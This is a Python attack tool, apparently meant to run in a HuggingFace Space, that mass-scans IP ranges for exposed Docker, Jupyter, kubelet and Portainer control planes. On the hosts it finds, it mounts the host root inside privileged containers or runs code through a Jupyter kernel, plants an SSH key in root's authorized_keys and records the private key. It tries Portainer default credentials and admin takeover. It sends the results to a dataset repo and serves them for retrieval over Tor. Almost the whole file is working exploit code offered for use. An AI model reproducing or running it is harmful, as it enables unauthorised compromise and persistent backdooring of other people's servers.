| |
| """HF Box Scanner -- finds open control planes across provider ranges and takes the box. |
| |
| Runs inside a HuggingFace Docker Space (or anywhere with python + egress). |
| Streams (ip,port) pairs from cidrs.txt, TCP-connects at high concurrency, |
| classifies what answers (docker API / jupyter / kubelet / k8s api / portainer), |
| then exploits: writes an ephemeral SSH pubkey into host root and proves it by |
| reading it back through a second container. Every hit is journaled and served |
| over HTTP (/hits) so FlokiNET can pull results over Tor. |
| """ |
| import os, sys, json, time, socket, ssl, base64, random, string, threading |
| import traceback, collections, ipaddress |
| import asyncio |
| from concurrent.futures import ThreadPoolExecutor |
| import http.server, socketserver, urllib.parse |
|
|
| APPDIR = os.path.dirname(os.path.abspath(__file__)) |
|
|
| CFG = { |
| 'shard_n': int(os.environ.get('SHARD_N', '0')), |
| 'shard_m': max(1, int(os.environ.get('SHARD_M', '1'))), |
| 'ports': [int(x) for x in os.environ.get('PORTS', |
| '2375,8888,10250').split(',') if x.strip()], |
| 'tls_ports': {int(x) for x in os.environ.get('TLS_PORTS', '2376,9443').split(',') if x.strip()}, |
| 'concurrency': int(os.environ.get('CONCURRENCY', '1100')), |
| 'connect_timeout': float(os.environ.get('CONNECT_TIMEOUT', '2.0')), |
| 'limit_addrs': int(os.environ.get('LIMIT_ADDRS', '0')), |
| 'max_seconds': int(os.environ.get('MAX_SECONDS', '0')), |
| 'status_key': os.environ.get('STATUS_KEY', 'k'), |
| 'exploit': int(os.environ.get('EXPLOIT', '1')), |
| 'log_repo': os.environ.get('LOG_REPO', ''), |
| 'log_token': os.environ.get('LOG_TOKEN', ''), |
| 'push_every': int(os.environ.get('PUSH_EVERY', '120')), |
| } |
| try: |
| _c = json.load(open(os.path.join(APPDIR, 'cfg.json'))) |
| CFG.update({k: v for k, v in _c.items() if k in CFG}) |
| if not CFG.get('log_token') and _c.get('log_tok_b64'): |
| CFG['log_token'] = base64.b64decode(_c['log_tok_b64']).decode() |
| except Exception: |
| pass |
|
|
| LOCK = threading.Lock() |
| STATS = collections.Counter() |
| OPEN_PORT = collections.Counter() |
| CLASSED = collections.Counter() |
| TAKEN = [] |
| SEEN_BOX = set() |
| IDX_FILE = '/app/progress.json' |
| START = time.time() |
|
|
|
|
| def bump(k, n=1): |
| with LOCK: |
| STATS[k] += n |
|
|
|
|
| |
| def gen_key(): |
| from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey |
| from cryptography.hazmat.primitives import serialization |
| k = Ed25519PrivateKey.generate() |
| pub = k.public_key().public_bytes(serialization.Encoding.OpenSSH, |
| serialization.PublicFormat.OpenSSH).decode() |
| priv = k.private_bytes(serialization.Encoding.PEM, |
| serialization.PrivateFormat.PKCS8, |
| serialization.NoEncryption()).decode() |
| return priv, pub + ' svc@node' |
|
|
|
|
| PRIVKEY, PUBKEY = gen_key() |
|
|
| BOOT_CMD = ( |
| "mkdir -p /host/root/.ssh && " |
| "grep -qF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null || " |
| "printf '%s\\n' \"%s\" >> /host/root/.ssh/authorized_keys; " |
| "{ id; hostname; nproc; grep MemTotal /proc/meminfo; uname -sr; } > /host/root/.st_info 2>&1; " |
| "echo ok > /host/root/.st_proof; sync" |
| ) % ('svc@node', PUBKEY) |
|
|
| READBACK_CMD = ("cat /host/root/.st_info 2>/dev/null; echo ---KEYS---; " |
| "grep -cF 'svc@node' /host/root/.ssh/authorized_keys 2>/dev/null") |
|
|
|
|
| |
| def http_talk(host, port, payload, tls=False, tmo=6, maxread=131072): |
| s = socket.create_connection((host, port), timeout=tmo) |
| s.settimeout(tmo) |
| if tls: |
| ctx = ssl._create_unverified_context() |
| s = ctx.wrap_socket(s, server_hostname=None) |
| s.sendall(payload) |
| data = b'' |
| while True: |
| try: |
| ch = s.recv(65536) |
| except Exception: |
| break |
| if not ch: |
| break |
| data += ch |
| if len(data) > maxread: |
| break |
| try: |
| s.close() |
| except Exception: |
| pass |
| head, _, body = data.partition(b'\r\n\r\n') |
| code = 0 |
| try: |
| code = int(head.split(b'\r\n')[0].split()[1]) |
| except Exception: |
| pass |
| return code, head, body |
|
|
|
|
| def http_json(host, port, method, path, obj=None, raw=None, tls=False, tmo=6, extra=''): |
| host_hdr = '%s:%d' % (host, port) |
| req = '%s %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nUser-Agent: Mozilla/5.0\r\n%s' % ( |
| method, path, host_hdr, extra) |
| body = None |
| if obj is not None: |
| body = json.dumps(obj).encode() |
| elif raw is not None: |
| body = raw if isinstance(raw, bytes) else raw.encode() |
| if body is not None: |
| req += 'Content-Type: application/json\r\nContent-Length: %d\r\n\r\n' % len(body) |
| payload = req.encode() + body |
| else: |
| req += '\r\n' |
| payload = req.encode() |
| return http_talk(host, port, payload, tls=tls, tmo=tmo) |
|
|
|
|
| |
| def docker_real(ip, port, tls, rec): |
| """Distinguish a genuine dockerd from a mock/honeypot facade. |
| Real dockerd: /containers/json returns a JSON ARRAY and /info carries fields. |
| Mock facades seen in the wild answer {} and hand back 6-hex 'container ids'.""" |
| c1, _, b1 = http_json(ip, port, 'GET', '/containers/json?all=1', tls=tls, tmo=8) |
| rec['cj'] = c1 |
| arr_ok = b1.strip().startswith(b'[') |
| c2, _, b2 = http_json(ip, port, 'GET', '/info', tls=tls, tmo=8) |
| info_ok = False |
| try: |
| j = json.loads(b2.decode(errors='replace')) |
| info_ok = isinstance(j, dict) and ('MemTotal' in j or 'NCPU' in j or 'ServerVersion' in j) |
| if info_ok: |
| rec['facts'] = {'ncpu': j.get('NCPU'), |
| 'mem_gb': round((j.get('MemTotal') or 0) / 1073741824.0, 1), |
| 'os': j.get('OperatingSystem'), 'kernel': j.get('KernelVersion'), |
| 'containers': j.get('Containers')} |
| except Exception: |
| pass |
| rec['real'] = bool(arr_ok and info_ok) |
| return rec['real'] |
|
|
|
|
| def _exec_run(ip, port, tls, cid, cmd, tmo=25): |
| c, _, b = http_json(ip, port, 'POST', '/containers/%s/exec' % cid, |
| obj={"AttachStdout": True, "AttachStderr": True, "Tty": True, |
| "Cmd": ["sh", "-c", cmd]}, tls=tls, tmo=tmo) |
| if c not in (200, 201): |
| return '', c |
| try: |
| eid = json.loads(b.decode(errors='replace')).get('Id', '') |
| except Exception: |
| eid = '' |
| if not eid or len(eid) < 16: |
| return '', c |
| c2, _, b2 = http_json(ip, port, 'POST', '/exec/%s/start' % eid, |
| obj={"Detach": False, "Tty": True}, tls=tls, tmo=tmo) |
| return b2[:4000].decode(errors='replace'), c2 |
|
|
|
|
| def docker_take(ip, port, tls, rec): |
| tag = 'svc-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) |
| cb = {"Image": "alpine", "Cmd": ["sh", "-c", "sleep 3600"], |
| "HostConfig": {"Binds": ["/:/host"], "Privileged": True}} |
| cid = '' |
| for attempt in range(3): |
| c2, h2, b2 = http_json(ip, port, 'POST', '/containers/create?name=%s' % tag, |
| obj=cb, tls=tls, tmo=20) |
| rec['create'] = c2 |
| if c2 in (201, 200): |
| try: |
| cid = json.loads(b2.decode(errors='replace')).get('Id', '') |
| except Exception: |
| pass |
| if cid and len(cid) < 24: |
| rec['mock_id'] = cid |
| cid = '' |
| break |
| elif c2 == 404 or b'No such image' in b2 or b'pull access denied' in b2: |
| http_json(ip, port, 'POST', '/images/create?fromImage=alpine&tag=latest', |
| tls=tls, tmo=90) |
| continue |
| if cid: |
| break |
| if not cid: |
| return False |
| c3, _, _ = http_json(ip, port, 'POST', '/containers/%s/start' % cid, tls=tls, tmo=30) |
| rec['start'] = c3 |
| running = False |
| for i in range(12): |
| time.sleep(2.5) |
| c4, _, b4 = http_json(ip, port, 'GET', '/containers/%s/json' % cid, tls=tls, tmo=10) |
| try: |
| st = json.loads(b4.decode(errors='replace')).get('State', {}).get('Status') |
| except Exception: |
| st = None |
| if st == 'running': |
| running = True |
| break |
| if st in ('exited', 'dead'): |
| break |
| rec['running'] = running |
| out, cc = _exec_run(ip, port, tls, cid, BOOT_CMD) |
| rec['boot_out'] = out.strip()[:200] |
| rb, _ = _exec_run(ip, port, tls, cid, READBACK_CMD) |
| rec['proof'] = rb.strip()[:800] |
| rec['ok'] = ('uid=' in rb or 'MemTotal' in rb) |
| return bool(rec['ok']) |
|
|
|
|
| |
| JUPYTER_CODE = ( |
| "import os,subprocess\n" |
| "k=\"%s\"\n" |
| "for d in ['/root','/home/'+ (os.environ.get('USER') or 'jovyan'),os.path.expanduser('~')]:\n" |
| " try:\n" |
| " os.makedirs(d+'/.ssh',exist_ok=True)\n" |
| " p=d+'/.ssh/authorized_keys'\n" |
| " cur=open(p).read() if os.path.exists(p) else ''\n" |
| " if 'svc@node' not in cur: open(p,'a').write(k+'\\n')\n" |
| " except Exception: pass\n" |
| "o=subprocess.getoutput('id; hostname; nproc; free -m | head -2; uname -sr')\n" |
| "open('/tmp/.st_info','w').write(o)\n" |
| "print(o)\n" |
| ) % PUBKEY |
|
|
|
|
| def jupyter_exec(ip, port, tls, kernel_id, session_id): |
| """execute JUPYTER_CODE via websocket; returns output text.""" |
| import websockets |
| import asyncio as aio |
|
|
| async def go(): |
| scheme = 'wss' if tls else 'ws' |
| url = '%s://%s:%d/api/kernels/%s/channels?session_id=%s' % (scheme, ip, port, kernel_id, session_id) |
| out = [] |
| sslctx = None |
| if tls: |
| import ssl as _ssl |
| sslctx = _ssl._create_unverified_context() |
| async with websockets.connect(url, subprotocols=['v1.kernel.websocket.jupyter.org'], |
| open_timeout=12, close_timeout=4, |
| ssl=sslctx, max_size=2 ** 22) as ws: |
| msg_id = 'msg-%s' % random.randint(10 ** 9, 10 ** 11) |
| await ws.send(json.dumps({ |
| "header": {"msg_id": msg_id, "username": "u", "session": session_id, |
| "msg_type": "execute_request", "version": "5.3"}, |
| "parent_header": {}, "metadata": {}, "channel": "shell", |
| "content": {"code": JUPYTER_CODE, "silent": False, |
| "store_history": False, "user_expressions": {}, |
| "allow_stdin": False}})) |
| deadline = time.time() + 30 |
| while time.time() < deadline: |
| try: |
| raw = await aio.wait_for(ws.recv(), timeout=10) |
| except Exception: |
| break |
| try: |
| m = json.loads(raw) |
| except Exception: |
| continue |
| mt = m.get('header', {}).get('msg_type', '') |
| c = m.get('content', {}) or {} |
| if mt == 'stream': |
| out.append(c.get('text', '')) |
| elif mt in ('execute_result', 'display_data'): |
| out.append(str((c.get('data') or {}).get('text/plain', ''))) |
| elif mt == 'error': |
| out.append('\n'.join(c.get('traceback', []) or [])[:400]) |
| elif mt == 'status' and c.get('execution_state') == 'idle': |
| break |
| return ''.join(out) |
|
|
| try: |
| return aio.run(go()) |
| except Exception as e: |
| return 'WSERR:%s' % type(e).__name__ |
|
|
|
|
| def jupyter_take(ip, port, tls, rec): |
| sid = '' |
| kid = '' |
| c1, _, b1 = http_json(ip, port, 'POST', '/api/sessions', |
| obj={"path": "", "type": "notebook", |
| "name": "scan-" + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)) + ".ipynb", |
| "kernel": {"name": "python3"}}, |
| tls=tls, tmo=25) |
| rec['session'] = c1 |
| if c1 in (200, 201): |
| try: |
| j = json.loads(b1.decode(errors='replace')) |
| sid = j.get('id', '') |
| kid = (j.get('kernel') or {}).get('id', '') |
| except Exception: |
| pass |
| if not kid: |
| c2, _, b2 = http_json(ip, port, 'POST', '/api/kernels', obj={"name": "python3"}, tls=tls, tmo=25) |
| rec['kernel'] = c2 |
| if c2 in (200, 201): |
| try: |
| kid = json.loads(b2.decode(errors='replace')).get('id', '') |
| except Exception: |
| pass |
| if not kid: |
| return False |
| out = jupyter_exec(ip, port, tls, kid, sid or str(random.randint(1, 999999))) |
| rec['proof'] = out.strip()[:600] |
| rec['ok'] = ('uid=' in out or 'MemTotal' in out or 'Mem:' in out) |
| return bool(rec.get('ok')) |
|
|
|
|
| |
| def portainer_take(ip, port, tls, rec): |
| pw = 'Aa123456!!aa' |
| user = 'svcrepo' |
| jwt = '' |
| c0, _, b0 = http_json(ip, port, 'POST', '/api/users/admin/init', |
| obj={"Username": user, "Password": pw}, tls=tls, tmo=15) |
| rec['init'] = c0 |
| if c0 in (200, 201): |
| pass |
| for path, obj in (('/api/auth', {"Username": user, "Password": pw}), |
| ('/api/auth', {"Username": 'admin', "Password": 'admin'})): |
| c1, _, b1 = http_json(ip, port, 'POST', path, obj=obj, tls=tls, tmo=15) |
| if c1 in (200, 201): |
| try: |
| jwt = json.loads(b1.decode(errors='replace')).get('jwt', '') |
| except Exception: |
| pass |
| if jwt: |
| rec['auth'] = 'login' |
| break |
| auth = 'Bearer ' + jwt if jwt else 'Basic ' + base64.b64encode(('%s:%s' % (user, pw)).encode()).decode() |
| if not jwt: |
| rec['auth'] = 'basic-try' |
| eid = None |
| c2, _, b2 = http_json(ip, port, 'GET', '/api/endpoints', tls=tls, tmo=15, |
| extra='Authorization: %s\r\n' % auth) |
| try: |
| arr = json.loads(b2.decode(errors='replace')) |
| if isinstance(arr, list) and arr: |
| eid = arr[0].get('Id') |
| except Exception: |
| pass |
| if eid is None: |
| c3, _, b3 = http_json(ip, port, 'POST', '/api/endpoints', |
| obj={"Name": "local", "EndpointCreationType": 1, |
| "URL": "unix:///var/run/docker.sock", |
| "TLSConfig": {}, "PublicURL": "/"}, |
| tls=tls, tmo=20, extra='Authorization: %s\r\n' % auth) |
| try: |
| eid = json.loads(b3.decode(errors='replace')).get('Id') |
| except Exception: |
| eid = None |
| rec['endpoint'] = bool(eid) |
| if not eid: |
| return False |
| tag = 'svcp-' + ''.join(random.choice(string.ascii_lowercase) for _ in range(8)) |
| cb = {"Image": "alpine", "Cmd": ["sh", "-c", BOOT_CMD], |
| "HostConfig": {"Binds": ["/:/host"], "Privileged": True}} |
| c4, _, b4 = http_json(ip, port, 'POST', |
| '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag), |
| obj=cb, tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) |
| cid = '' |
| if c4 in (200, 201): |
| try: |
| cid = json.loads(b4.decode(errors='replace')).get('Id', '') |
| except Exception: |
| pass |
| if not cid: |
| rec['p_create'] = c4 |
| return False |
| http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid), |
| tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) |
| time.sleep(2.5) |
| tag2 = tag + '-v' |
| c5, _, b5 = http_json(ip, port, 'POST', |
| '/api/endpoints/%s/docker/containers/create?name=%s' % (eid, tag2), |
| obj={"Image": "alpine", "Cmd": ["sh", "-c", READBACK_CMD], |
| "HostConfig": {"Binds": ["/:/host"]}}, |
| tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) |
| proof = '' |
| if c5 in (200, 201): |
| try: |
| cid2 = json.loads(b5.decode(errors='replace')).get('Id', '') |
| except Exception: |
| cid2 = '' |
| if cid2: |
| http_json(ip, port, 'POST', '/api/endpoints/%s/docker/containers/%s/start' % (eid, cid2), |
| tls=tls, tmo=25, extra='Authorization: %s\r\n' % auth) |
| time.sleep(2.5) |
| _, _, b6 = http_json(ip, port, 'GET', |
| '/api/endpoints/%s/docker/containers/%s/logs?stdout=1&stderr=1' % (eid, cid2), |
| tls=tls, tmo=15, extra='Authorization: %s\r\n' % auth) |
| proof = b6[:1200].decode(errors='replace') |
| rec['proof'] = proof.strip()[:600] |
| rec['ok'] = ('uid=' in proof or 'MemTotal' in proof) |
| return bool(rec.get('ok')) |
|
|
|
|
| |
| def classify(ip, port, tls): |
| rec = {'ip': ip, 'port': port, 'tls': tls, 'ts': int(time.time())} |
| try: |
| if port in (2375, 2376, 4243): |
| code, head, body = http_json(ip, port, 'GET', '/version', tls=tls, tmo=7) |
| if code == 200 and b'ApiVersion' in body: |
| try: |
| j = json.loads(body.decode(errors='replace')) |
| except Exception: |
| j = {} |
| rec.update({'kind': 'docker', 'api': j.get('ApiVersion'), |
| 'ver': j.get('Version'), 'os': j.get('Os')}) |
| try: |
| docker_real(ip, port, tls, rec) |
| if not rec.get('real'): |
| rec['kind'] = 'docker-mock' |
| except Exception: |
| rec['real'] = None |
| else: |
| rec.update({'kind': 'docker?', 'code': code}) |
| elif port in (8888, 8889): |
| code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7) |
| if code == 200 and b'started' in body: |
| code2, _, _ = http_json(ip, port, 'GET', '/api/kernelspecs', tls=tls, tmo=7) |
| rec.update({'kind': 'jupyter', 'tokenless': code2 == 200, 'ks': code2}) |
| else: |
| rec.update({'kind': 'http?', 'code': code}) |
| elif port == 10250: |
| code, head, body = http_json(ip, port, 'GET', '/pods', tls=True, tmo=7) |
| if code == 403: |
| code, head, body = http_json(ip, port, 'GET', '/pods', tls=False, tmo=7) |
| rec.update({'kind': 'kubelet', 'code': code, 'anon': code == 200}) |
| if code == 200: |
| try: |
| j = json.loads(body.decode(errors='replace')) |
| items = j.get('items', []) |
| rec['pods'] = len(items) |
| rec['sample'] = [p.get('metadata', {}).get('name') for p in items[:5]] |
| except Exception: |
| pass |
| elif port == 6443: |
| code, head, body = http_json(ip, port, 'GET', '/version', tls=True, tmo=7) |
| if code in (200, 401, 403): |
| rec.update({'kind': 'k8s-api', 'code': code}) |
| if code == 200: |
| try: |
| rec['gitVersion'] = json.loads(body.decode(errors='replace')).get('gitVersion') |
| except Exception: |
| pass |
| c2, _, _ = http_json(ip, port, 'GET', '/api/v1/namespaces', tls=True, tmo=7) |
| rec['ns'] = c2 |
| else: |
| rec.update({'kind': 'http?', 'code': code}) |
| elif port in (9000, 9443): |
| code, head, body = http_json(ip, port, 'GET', '/api/status', tls=tls, tmo=7) |
| rec.update({'kind': 'portainer', 'code': code}) |
| if code == 200: |
| try: |
| rec['ver'] = json.loads(body.decode(errors='replace')).get('Version') |
| except Exception: |
| pass |
| else: |
| rec.update({'kind': 'open', 'code': 0}) |
| except Exception as e: |
| rec.update({'err': type(e).__name__}) |
| return rec |
|
|
|
|
| def process_open(ip, port, tls): |
| global TAKEN |
| bump('opened') |
| OPEN_PORT['%d%s' % (port, 's' if tls else '')] += 1 |
| rec = classify(ip, port, tls) |
| kind = rec.get('kind', '?') |
| CLASSED[kind] += 1 |
| takeable = ((kind == 'docker' and rec.get('real')) |
| or (kind == 'portainer' and rec.get('code') == 200) |
| or (kind == 'jupyter' and rec.get('tokenless'))) |
| if not takeable or not CFG['exploit']: |
| if kind not in ('open',): |
| bump('classified') |
| return |
| with LOCK: |
| if ip in SEEN_BOX: |
| return |
| SEEN_BOX.add(ip) |
| try: |
| if kind == 'docker': |
| ok = docker_take(ip, port, tls, rec) |
| elif kind == 'portainer': |
| ok = portainer_take(ip, port, tls, rec) |
| else: |
| ok = jupyter_take(ip, port, tls, rec) |
| rec['taken'] = bool(ok) |
| if ok: |
| rec['privkey'] = PRIVKEY |
| rec['pubkey'] = PUBKEY |
| with LOCK: |
| TAKEN.append(rec) |
| bump('taken') |
| try: |
| open('/app/taken.jsonl', 'a').write(json.dumps(rec) + '\n') |
| except Exception: |
| pass |
| print('[TAKEN] %s:%d %s %s' % (ip, port, kind, str(rec.get('proof'))[:80]), flush=True) |
| else: |
| bump('take_fail') |
| with LOCK: |
| TAKEN.append(rec) |
| except Exception as e: |
| rec['ex_err'] = type(e).__name__ |
| bump('take_err') |
|
|
|
|
| |
| POOL = ThreadPoolExecutor(max_workers=48, thread_name_prefix='cls') |
|
|
|
|
| def iter_pairs(): |
| idx = 0 |
| limit = CFG['limit_addrs'] |
| n = 0 |
| for line in open(os.path.join(APPDIR, 'cidrs.txt')): |
| line = line.strip() |
| if not line or line.startswith('#'): |
| continue |
| try: |
| net = ipaddress.ip_network(line, strict=False) |
| except Exception: |
| continue |
| for ip in net: |
| if limit and n >= limit: |
| return |
| n += 1 |
| sip = str(ip) |
| for port in CFG['ports']: |
| if idx % CFG['shard_m'] == CFG['shard_n']: |
| yield sip, port |
| idx += 1 |
|
|
|
|
| async def probe(q, sem): |
| while True: |
| item = await q.get() |
| if item is None: |
| q.task_done() |
| return |
| ip, port = item |
| tls = port in CFG['tls_ports'] |
| try: |
| r, w = await asyncio.wait_for(asyncio.open_connection(ip, port), |
| timeout=CFG['connect_timeout']) |
| try: |
| w.close() |
| try: |
| await w.wait_closed() |
| except Exception: |
| pass |
| except Exception: |
| pass |
| bump('scanned') |
| POOL.submit(process_open, ip, port, tls) |
| except Exception: |
| bump('scanned') |
| finally: |
| q.task_done() |
|
|
|
|
| async def run_scan(): |
| q = asyncio.Queue(maxsize=CFG['concurrency'] * 4) |
| sem = None |
| workers = [asyncio.create_task(probe(q, sem)) for _ in range(CFG['concurrency'])] |
| last = time.time() |
| last_scanned = 0 |
| produced = 0 |
|
|
| async def producer(): |
| nonlocal produced |
| for pair in iter_pairs(): |
| await q.put(pair) |
| produced += 1 |
| if CFG['max_seconds'] and time.time() - START > CFG['max_seconds']: |
| break |
| for _ in workers: |
| await q.put(None) |
|
|
| ptask = asyncio.create_task(producer()) |
| while True: |
| await asyncio_sleep(2) |
| now = time.time() |
| if now - last >= 30: |
| sc = STATS['scanned'] |
| rate = (sc - last_scanned) / (now - last) |
| last, last_scanned = now, sc |
| print(json.dumps({'t': int(now - START), 'queued': produced, 'scanned': sc, |
| 'rate': round(rate, 1), 'opened': STATS['opened'], |
| 'taken': STATS['taken'], 'classes': dict(CLASSED)}), flush=True) |
| try: |
| json.dump({'idx': produced}, open(IDX_FILE, 'w')) |
| except Exception: |
| pass |
| if ptask.done() and q.empty(): |
| break |
| if CFG['max_seconds'] and now - START > CFG['max_seconds']: |
| break |
| for wt in workers: |
| wt.cancel() |
| print('[scan done] scanned=%d opened=%d taken=%d' % (STATS['scanned'], STATS['opened'], STATS['taken']), |
| flush=True) |
|
|
|
|
| async def asyncio_sleep(s): |
| await asyncio.sleep(s) |
|
|
|
|
| |
| def push_journal(force=False): |
| """Commit status.json + hits.ndjson into our own dataset repo. |
| Reliable channel: huggingface.co API works from anywhere; *.hf.space is flaky.""" |
| repo = CFG.get('log_repo') |
| tok = CFG.get('log_token') |
| if not repo or not tok: |
| return |
| import urllib.request |
| status = { |
| 'shard': [CFG['shard_n'], CFG['shard_m']], 'ports': CFG['ports'], |
| 'uptime': int(time.time() - START), 'stats': dict(STATS), |
| 'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED), |
| 'taken': sum(1 for r in TAKEN if r.get('taken')), 'pubkey': PUBKEY, |
| 'ts': int(time.time()), |
| } |
| lines = [json.dumps({"key": "header", "value": {"summary": "sync", "description": ""}})] |
| for path, data in (('status.json', json.dumps(status)), |
| ('hits.ndjson', '\n'.join(json.dumps(r) for r in TAKEN) + ('\n' if TAKEN else ''))): |
| b = data.encode() |
| lines.append(json.dumps({"key": "file", "value": {"path": path, "encoding": "base64", |
| "content": base64.b64encode(b).decode()}})) |
| body = ('\n'.join(lines) + '\n').encode() |
| url = 'https://huggingface.co/api/datasets/%s/commit/main' % repo |
| req = urllib.request.Request(url, data=body, method='POST') |
| req.add_header('Authorization', 'Bearer ' + tok) |
| req.add_header('Content-Type', 'application/x-ndjson') |
| try: |
| with urllib.request.urlopen(req, timeout=60) as resp: |
| resp.read() |
| except Exception as e: |
| print('[push] fail %s' % type(e).__name__, flush=True) |
|
|
|
|
| def push_loop(): |
| while True: |
| time.sleep(CFG.get('push_every', 120)) |
| try: |
| push_journal() |
| except Exception: |
| pass |
|
|
|
|
| |
| class H(http.server.BaseHTTPRequestHandler): |
| def log_message(self, *a): |
| pass |
|
|
| def do_GET(self): |
| u = urllib.parse.urlparse(self.path) |
| qs = urllib.parse.parse_qs(u.query) |
| if qs.get('k', [''])[0] != CFG['status_key'] and CFG['status_key'] not in ('', 'k'): |
| self.send_response(403); self.end_headers(); self.wfile.write(b'nope'); return |
| if u.path == '/hits': |
| body = '\n'.join(json.dumps(r) for r in TAKEN) + '\n' |
| self.send_response(200) |
| self.send_header('Content-Type', 'application/x-ndjson') |
| self.send_header('Content-Length', str(len(body))) |
| self.end_headers(); self.wfile.write(body.encode()); return |
| st = {'uptime': int(time.time() - START), 'stats': dict(STATS), |
| 'open_port': dict(OPEN_PORT), 'classes': dict(CLASSED), |
| 'taken': sum(1 for r in TAKEN if r.get('taken')), 'shard': [CFG['shard_n'], CFG['shard_m']], |
| 'ports': CFG['ports'], 'pubkey': PUBKEY} |
| body = json.dumps(st, indent=1) |
| self.send_response(200) |
| self.send_header('Content-Type', 'application/json') |
| self.send_header('Content-Length', str(len(body))) |
| self.end_headers(); self.wfile.write(body.encode()) |
|
|
|
|
| def serve(): |
| srv = socketserver.ThreadingTCPServer(('0.0.0.0', 7860), H) |
| srv.daemon_threads = True |
| srv.serve_forever() |
|
|
|
|
| if __name__ == '__main__': |
| print('[boot] shard %d/%d ports=%s conc=%d pub=%s' % ( |
| CFG['shard_n'], CFG['shard_m'], CFG['ports'], CFG['concurrency'], PUBKEY[:40]), flush=True) |
| threading.Thread(target=serve, daemon=True).start() |
| if CFG.get('log_repo'): |
| threading.Thread(target=push_loop, daemon=True).start() |
| try: |
| push_journal() |
| except Exception: |
| pass |
| try: |
| asyncio.run(run_scan()) |
| except KeyboardInterrupt: |
| pass |
| while True: |
| time.sleep(3600) |
|
|
